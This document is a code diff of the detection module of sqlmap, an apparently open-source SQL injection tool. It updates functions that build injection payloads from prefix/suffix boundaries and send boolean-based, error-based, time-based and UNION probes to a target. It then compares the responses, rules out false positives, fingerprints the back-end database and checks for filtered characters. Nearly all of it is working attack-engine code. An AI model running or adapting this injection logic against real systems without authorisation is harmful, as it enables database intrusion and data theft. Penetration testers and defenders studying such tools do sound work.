boundary's - if boundary.level > conf.level: + if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): continue # Skip boundary if it does not match against test's @@ -270,10 +404,15 @@ def checkSqlInjection(place, parameter, value): continue # Parse boundary's , and - prefix = boundary.prefix if boundary.prefix else "" - suffix = boundary.suffix if boundary.suffix else "" + prefix = boundary.prefix or "" + suffix = boundary.suffix or "" ptype = boundary.ptype + # Options --prefix/--suffix have a higher priority (if set by user) + prefix = conf.prefix if conf.prefix is not None else prefix + suffix = conf.suffix if conf.suffix is not None else suffix + comment = None if conf.suffix is not None else comment + # If the previous injections succeeded, we know which prefix, # suffix and parameter type to use for further tests, no # need to cycle through the boundaries for the following tests @@ -281,7 +420,9 @@ def checkSqlInjection(place, parameter, value): condBound &= (injection.prefix != prefix or injection.suffix != suffix) condType = injection.ptype is not None and injection.ptype != ptype - if condBound or condType: + # If the payload is an inline query test for it regardless + # of previously identified injection types + if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType): continue # For each test's @@ -289,21 +430,32 @@ def checkSqlInjection(place, parameter, value): templatePayload = None vector = None - # Threat the parameter original value according to the + origValue = value + if kb.customInjectionMark in origValue: + origValue = origValue.split(kb.customInjectionMark)[0] + origValue = re.search(r"(\w*)\Z", origValue).group(1) + + # Treat the parameter original value according to the # test's tag - if where == PAYLOAD.WHERE.ORIGINAL: - origValue = value + if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: + if kb.tamperFunctions: + templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.NEGATIVE: # Use different page template than the original # one as we are changing parameters value, which # will likely result in a different content + if conf.invalidLogical: - origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt()) + _ = int(kb.data.randomInt[:2]) + origValue = "%s AND %s LIKE %s" % (origValue, _, _ + 1) elif conf.invalidBignum: - origValue = "%d.%d" % (randomInt(6), randomInt(1)) + origValue = kb.data.randomInt[:6] + elif conf.invalidString: + origValue = kb.data.randomStr[:6] else: - origValue = "-%s" % randomInt() - templatePayload = agent.payload(place, parameter, newValue=origValue, where=where) + origValue = "-%s" % kb.data.randomInt[:4] + + templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.REPLACE: origValue = "" @@ -312,21 +464,31 @@ def checkSqlInjection(place, parameter, value): # Forge request payload by prepending with boundary's # prefix and appending the boundary's suffix to the # test's ' ' string - boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) - boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) - reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + if fstPayload: + boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) + boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) + reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + + if reqPayload: + stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?.\g<4>", reqPayload) + if stripPayload in seenPayload: + continue + else: + seenPayload.add(stripPayload) + else: + reqPayload = None # Perform the test's request and check whether or not the # payload was successful # Parse test's for method, check in test.response.items(): - check = agent.cleanupPayload(check, origValue=value) + check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): - sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value) + sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's @@ -338,64 +500,160 @@ def genCmpPayload(): return cmpPayload - # Useful to set kb.matchRatio at first based on - # the False response content + # Useful to set kb.matchRatio at first based on False response content kb.matchRatio = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) + suggestion = None Request.queryPage(genCmpPayload(), place, raise404=False) - falsePage = threadData.lastComparisonPage or "" + falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode + falseRawResponse = "%s%s" % (falseHeaders, falsePage) + + # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) + if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)): + try: + ratio = 1.0 + seqMatcher = getCurrentThreadData().seqMatcher + + for current in (kb.originalPage, kb.heuristicPage): + seqMatcher.set_seq1(current or "") + seqMatcher.set_seq2(falsePage or "") + ratio *= seqMatcher.quick_ratio() + + if ratio == 1.0: + continue + except: + pass # Perform the test's True request trueResult = Request.queryPage(reqPayload, place, raise404=False) - truePage = threadData.lastComparisonPage or "" + truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode + trueRawResponse = "%s%s" % (trueHeaders, truePage) - if trueResult: + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): + # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) - # Perform the test's False request if not falseResult: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) - logger.info(infoMsg) + if kb.negativeLogic: + boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause) + boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) + errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + + errorResult = Request.queryPage(errorPayload, place, raise404=False) + if errorResult: + continue + elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + _ = comparison(kb.heuristicPage, None, getRatioValue=True) + if (_ or 0) > (kb.matchRatio or 0): + kb.matchRatio = _ + logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) + + # Reducing false-positive "appears" messages in heavily dynamic environment + if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False): + continue injectable = True - if not injectable and not conf.string and kb.pageStable: - trueSet = set(extractTextTagContent(truePage)) - falseSet = set(extractTextTagContent(falsePage)) - candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet))) - if candidates: - conf.string = random.sample(candidates, 1)[0] - infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=%s)" % (place, parameter, title, repr(conf.string).lstrip('u')) - logger.info(infoMsg) + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) + trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) + falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) - injectable = True + if threadData.lastErrorPage and threadData.lastErrorPage[1]: + errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n")) + else: + errorSet = set() + + if originalSet == trueSet != falseSet: + candidates = trueSet - falseSet - errorSet + + if candidates: + candidates = sorted(candidates, key=len) + for candidate in candidates: + if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: + suggestion = conf.string = candidate + injectable = True + + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) + logger.info(infoMsg) + + break + + if injectable: + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: + suggestion = conf.code = trueCode + + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) + logger.info(infoMsg) + else: + trueSet = set(extractTextTagContent(trueRawResponse)) + trueSet |= set(__ for _ in trueSet for __ in _.split()) + + falseSet = set(extractTextTagContent(falseRawResponse)) + falseSet |= set(__ for _ in falseSet for __ in _.split()) + + if threadData.lastErrorPage and threadData.lastErrorPage[1]: + errorSet = set(extractTextTagContent(threadData.lastErrorPage[1])) + errorSet |= set(__ for _ in errorSet for __ in _.split()) + else: + errorSet = set() + + candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)) + + if candidates: + candidates = sorted(candidates, key=len) + for candidate in candidates: + if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content + break + + suggestion = conf.string = candidate + + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) + logger.info(infoMsg) + + if not any((conf.string, conf.notString)): + candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)) + + if candidates: + candidates = sorted(candidates, key=len) + for candidate in candidates: + if re.match(r"\A\w+\Z", candidate): + break + + suggestion = conf.notString = candidate + + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) + logger.info(infoMsg) + + if not suggestion: + infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) + singleTimeLogMessage(infoMsg) # In case of error-based SQL injection elif method == PAYLOAD.METHOD.GREP: # Perform the test's request and grep the response # body for the test's regular expression try: - page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False) - output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, listToStrValue(headers.headers \ - if headers else None), re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) + page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) + output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: - result = output == "1" + result = output == '1' if result: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True - except sqlmapConnectionException, msg: - debugMsg = "problem occured most likely because the " + except SqlmapConnectionException as ex: + debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " - debugMsg += "error-based payload used ('%s')" % msg + debugMsg += "used error-based payload ('%s')" % getSafeExString(ex) logger.debug(debugMsg) # In case of time-based blind or stacked queries @@ -403,13 +661,20 @@ def genCmpPayload(): elif method == PAYLOAD.METHOD.TIME: # Perform the test's request trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) + trueCode = threadData.lastCode if trueResult: + # Extra validation step (e.g. to check for DROP protection mechanisms) + if SLEEP_TIME_MARKER in reqPayload: + falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False) + if falseResult: + continue + # Confirm test's results trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -419,30 +684,36 @@ def genCmpPayload(): # Test for UNION injection and set the sample # payload as well as the vector. # NOTE: vector is set to a tuple with 6 elements, - # used afterwards by Agent.forgeInbandQuery() + # used afterwards by Agent.forgeUnionQuery() # method to forge the UNION query payload configUnion(test.request.char, test.request.columns) - if not Backend.getIdentifiedDbms(): - warnMsg = "using unescaped version of the test " - warnMsg += "because of zero knowledge of the " - warnMsg += "back-end DBMS. You can try to " - warnMsg += "explicitly set it using the --dbms " - warnMsg += "option" - singleTimeWarnMessage(warnMsg) + if len(kb.dbmsFilter or []) == 1: + Backend.forceDbms(kb.dbmsFilter[0]) + elif not Backend.getIdentifiedDbms(): + if kb.heuristicDbms is None: + if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data: + warnMsg = "using unescaped version of the test " + warnMsg += "because of zero knowledge of the " + warnMsg += "back-end DBMS. You can try to " + warnMsg += "explicitly set it with option '--dbms'" + singleTimeWarnMessage(warnMsg) + else: + Backend.forceDbms(kb.heuristicDbms) if unionExtended: - infoMsg = "automatically extending ranges " - infoMsg += "for UNION query injection technique tests as " - infoMsg += "there is at least one other injection technique found" + infoMsg = "automatically extending ranges for UNION " + infoMsg += "query injection technique tests as " + infoMsg += "there is at least one other (potential) " + infoMsg += "technique found" singleTimeLogMessage(infoMsg) # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) - if isinstance(reqPayload, basestring): - infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title) + if isinstance(reqPayload, six.string_types): + infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -453,13 +724,16 @@ def genCmpPayload(): kb.previousMethod = method + if conf.offline: + injectable = False + # If the injection test was successful feed the injection # object with the test's details if injectable is True: # Feed with the boundaries details only the first time a # test has been successful if injection.place is None or injection.parameter is None: - if place in (PLACE.UA, PLACE.REFERER, PLACE.HOST): + if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): injection.parameter = place else: injection.parameter = parameter @@ -472,19 +746,23 @@ def genCmpPayload(): # Feed with test details every time a test is successful if hasattr(test, "details"): - for dKey, dValue in test.details.items(): - if dKey == "dbms": - if not isinstance(dValue, list): - injection.dbms = Backend.setDbms(dValue) + for key, value in test.details.items(): + if key == "dbms": + injection.dbms = value + + if not isinstance(value, list): + Backend.setDbms(value) else: - Backend.forceDbms(dValue[0], True) - elif dKey == "dbms_version" and injection.dbms_version is None and not conf.tstF: - injection.dbms_version = Backend.setVersion(dValue) - elif dKey == "os" and injection.os is None: - injection.os = Backend.setOs(dValue) + Backend.forceDbms(value[0], True) + + elif key == "dbms_version" and injection.dbms_version is None and not conf.testFilter: + injection.dbms_version = Backend.setVersion(value) + + elif key == "os" and injection.os is None: + injection.os = Backend.setOs(value) if vector is None and "vector" in test and test.vector is not None: - vector = "%s%s" % (test.vector, comment or "") + vector = test.vector injection.data[stype] = AttribDict() injection.data[stype].title = title @@ -494,14 +772,18 @@ def genCmpPayload(): injection.data[stype].comment = comment injection.data[stype].templatePayload = templatePayload injection.data[stype].matchRatio = kb.matchRatio + injection.data[stype].trueCode = trueCode + injection.data[stype].falseCode = falseCode injection.conf.textOnly = conf.textOnly injection.conf.titles = conf.titles + injection.conf.code = conf.code injection.conf.string = conf.string + injection.conf.notString = conf.notString injection.conf.regexp = conf.regexp injection.conf.optimize = conf.optimize - if conf.beep or conf.realTest: + if conf.beep: beep() # There is no need to perform this test for other @@ -509,8 +791,7 @@ def genCmpPayload(): break if injectable is True: - # There is no need to perform this test with others - # boundaries + kb.vulnHosts.add(conf.hostname) break # Reset forced back-end DBMS value @@ -518,19 +799,37 @@ def genCmpPayload(): except KeyboardInterrupt: warnMsg = "user aborted during detection phase" - logger.warn(warnMsg) - - message = "How do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]" - choice = readInput(message, default="S", checkBatch=False) + logger.warning(warnMsg) - if choice[0] in ("s", "S"): - pass - elif choice[0] in ("n", "N"): + if conf.multipleTargets: + msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" + choice = readInput(msg, default='X', checkBatch=False).upper() + else: + msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" + choice = readInput(msg, default='S', checkBatch=False).upper() + + if choice == 'X': + if conf.multipleTargets: + raise SqlmapSkipTargetException + elif choice == 'C': + choice = None + while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): + if choice: + logger.warning("invalid value") + msg = "enter new verbosity level: [0-6] " + choice = readInput(msg, default=str(conf.verbose), checkBatch=False) + conf.verbose = int(choice) + setVerbosity() + if hasattr(test.request, "columns") and hasattr(test.request, "_columns"): + test.request.columns = test.request._columns + delattr(test.request, "_columns") + tests.insert(0, test) + elif choice == 'N': return None - elif choice[0] in ("e", "E"): + elif choice == 'E': kb.endDetection = True - elif choice[0] in ("q", "Q"): - raise sqlmapUserQuitException + elif choice == 'Q': + raise SqlmapUserQuitException finally: # Reset forced back-end DBMS value @@ -541,26 +840,80 @@ def genCmpPayload(): # Return the injection object if injection.place is not None and injection.parameter is not None: if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'): - warnMsg = "in OR boolean-based injections, please consider usage " + warnMsg = "in OR boolean-based injection cases, please consider usage " warnMsg += "of switch '--drop-set-cookie' if you experience any " warnMsg += "problems during data retrieval" - logger.warn(warnMsg) + logger.warning(warnMsg) - injection = checkFalsePositives(injection) - return injection + if not checkFalsePositives(injection): + if conf.hostname in kb.vulnHosts: + kb.vulnHosts.remove(conf.hostname) + if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: + injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) else: - return None + injection = None + + if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: + checkSuhosinPatch(injection) + checkFilteredChars(injection) + + return injection + +@stackedmethod +def heuristicCheckDbms(injection): + """ + This functions is called when boolean-based blind is identified with a + generic payload and the DBMS has not yet been fingerprinted to attempt + to identify with a simple DBMS specific boolean-based test what the DBMS + may be + """ + retVal = False + + if conf.skipHeuristics: + return retVal + + pushValue(kb.injection) + kb.injection = injection + + for dbms in getPublicTypeMembers(DBMS, True): + randStr1, randStr2 = randomStr(), randomStr() + + Backend.forceDbms(dbms) + + if dbms in HEURISTIC_NULL_EVAL: + result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) + elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1): + result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)) + else: + result = False + + if result: + if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): + retVal = dbms + break + + Backend.flushForcedDbms() + kb.injection = popValue() + + if retVal: + infoMsg = "heuristic (extended) test shows that the back-end DBMS " # Not as important as "parsing" counter-part (because of false-positives) + infoMsg += "could be '%s' " % retVal + logger.info(infoMsg) + + kb.heuristicExtendedDbms = retVal + + return retVal + +@stackedmethod def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ - retVal = injection + retVal = True - if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\ - or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\ - or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getDbms(): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place @@ -571,47 +924,117 @@ def _(): return int(randomInt(2)) + 1 kb.injection = injection - randInt1, randInt2, randInt3 = (_() for i in xrange(3)) - - # Just in case (also, they have to be different than 0 because of the last test) - while randInt1 == randInt2: - randInt2 = _() - - # Simple arithmetic operations which should show basic - # arithmetic ability of the backend if it's really injectable - if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)): - retVal = None - elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))): - retVal = None - elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)): - retVal = None - elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)): - retVal = None - - if retVal is None: + + for level in xrange(conf.level): + while True: + randInt1, randInt2, randInt3 = (_() for j in xrange(3)) + + randInt1 = min(randInt1, randInt2, randInt3) + randInt3 = max(randInt1, randInt2, randInt3) + + if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): + continue + + if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): + continue + + if randInt3 > randInt2 > randInt1: + break + + if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)): + retVal = False + break + + if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: + checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request + + if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True + retVal = False + break + + elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True + retVal = False + break + + elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True + retVal = False + break + + elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) + retVal = False + break + + if not retVal: warnMsg = "false positive or unexploitable injection point detected" - logger.warn(warnMsg) + logger.warning(warnMsg) kb.injection = popValue() return retVal -def heuristicCheckSqlInjection(place, parameter): - if kb.nullConnection: - debugMsg = "heuristic checking skipped " - debugMsg += "because NULL connection used" - logger.debug(debugMsg) - return None +@stackedmethod +def checkSuhosinPatch(injection): + """ + Checks for existence of Suhosin-patch (and alike) protection mechanism(s) + """ - if wasLastRequestDBMSError(): - debugMsg = "heuristic checking skipped " - debugMsg += "because original page content " - debugMsg += "contains DBMS error" + if injection.place in (PLACE.GET, PLACE.URI): + debugMsg = "checking for parameter length " + debugMsg += "constraining mechanisms" logger.debug(debugMsg) + + pushValue(kb.injection) + + kb.injection = injection + randInt = randomInt() + + if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): + warnMsg = "parameter length constraining " + warnMsg += "mechanism detected (e.g. Suhosin patch). " + warnMsg += "Potential problems in enumeration phase can be expected" + logger.warning(warnMsg) + + kb.injection = popValue() + +@stackedmethod +def checkFilteredChars(injection): + debugMsg = "checking for filtered characters" + logger.debug(debugMsg) + + pushValue(kb.injection) + + kb.injection = injection + randInt = randomInt() + + # all other techniques are already using parentheses in tests + if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): + warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " + warnMsg += "filtered by the back-end server. There is a strong " + warnMsg += "possibility that sqlmap won't be able to properly " + warnMsg += "exploit this vulnerability" + logger.warning(warnMsg) + + # inference techniques depend on character '>' + if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): + if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): + warnMsg = "it appears that the character '>' is " + warnMsg += "filtered by the back-end server. You are strongly " + warnMsg += "advised to rerun with the '--tamper=between'" + logger.warning(warnMsg) + + kb.injection = popValue() + +def heuristicCheckSqlInjection(place, parameter): + if conf.skipHeuristics: return None + origValue = conf.paramDict[place][parameter] + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + prefix = "" suffix = "" + randStr = "" if conf.prefix or conf.suffix: if conf.prefix: @@ -620,101 +1043,146 @@ def heuristicCheckSqlInjection(place, parameter): if conf.suffix: suffix = conf.suffix - payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) + while randStr.count('\'') != 1 or randStr.count('\"') != 1: + randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) + + kb.heuristicMode = True + + payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) - page, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, code = Request.queryPage(payload, place, content=True, raise404=False) + + kb.heuristicPage = page + kb.heuristicCode = code + kb.heuristicMode = False parseFilePaths(page) + result = wasLastResponseDBMSError() + + infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter) + + def _(page): + return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) + + casting = _(page) and not _(kb.originalPage) - result = wasLastRequestDBMSError() + if not casting and not result and kb.dynamicParameter and origValue.isdigit() and not kb.heavilyDynamic: + randInt = int(randomInt()) + payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix) + payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) + result = Request.queryPage(payload, place, raise404=False) - infoMsg = "heuristic test shows that %s " % place - infoMsg += "parameter '%s' might " % parameter + if not result: + randStr = randomStr() + payload = "%s%s%s" % (prefix, "%s.%d%s" % (origValue, random.randint(1, 9), randStr), suffix) + payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) + casting = Request.queryPage(payload, place, raise404=False) + + kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE + + if kb.heavilyDynamic: + debugMsg = "heuristic check stopped because of heavy dynamicity" + logger.debug(debugMsg) + return kb.heuristicTest + + if casting: + errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type") + + platform = conf.url.split('.')[-1].lower() + if platform == WEB_PLATFORM.ASP: + errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter) + elif platform == WEB_PLATFORM.ASPX: + errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter) + elif platform == WEB_PLATFORM.JSP: + errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter) + elif platform == WEB_PLATFORM.CFM: + errMsg += "%s=Val(url.%s)" % (parameter, parameter) + else: + errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter) - kb.heuristicTest = result + errMsg += "') at the back-end web application" + logger.error(errMsg) - if result: - infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION) + if kb.ignoreCasted is None: + message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") + kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) + + elif result: + infoMsg += "be injectable" + if Backend.getErrorParsedDBMSes(): + infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() logger.info(infoMsg) + else: infoMsg += "not be injectable" - logger.warn(infoMsg) + logger.warning(infoMsg) - return result + kb.heuristicMode = True + kb.disableHtmlDecoding = True -def simpletonCheckSqlInjection(place, parameter, value): - """ - This is a function for the quickest and simplest - SQL injection check (e.g. AND 1=1) - only works - with integer parameters - """ + randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH) + value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) + payload = "%s%s%s" % (prefix, "'%s" % value, suffix) + payload = agent.payload(place, parameter, newValue=payload) + page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) - result = False - randInt = randomInt() + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place - if value.isdigit(): - payload = "%s AND %d=%d" % (value, randInt, randInt) - else: - return False + # Reference: https://bugs.python.org/issue18183 + if value.upper() in (page or "").upper(): + infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) + 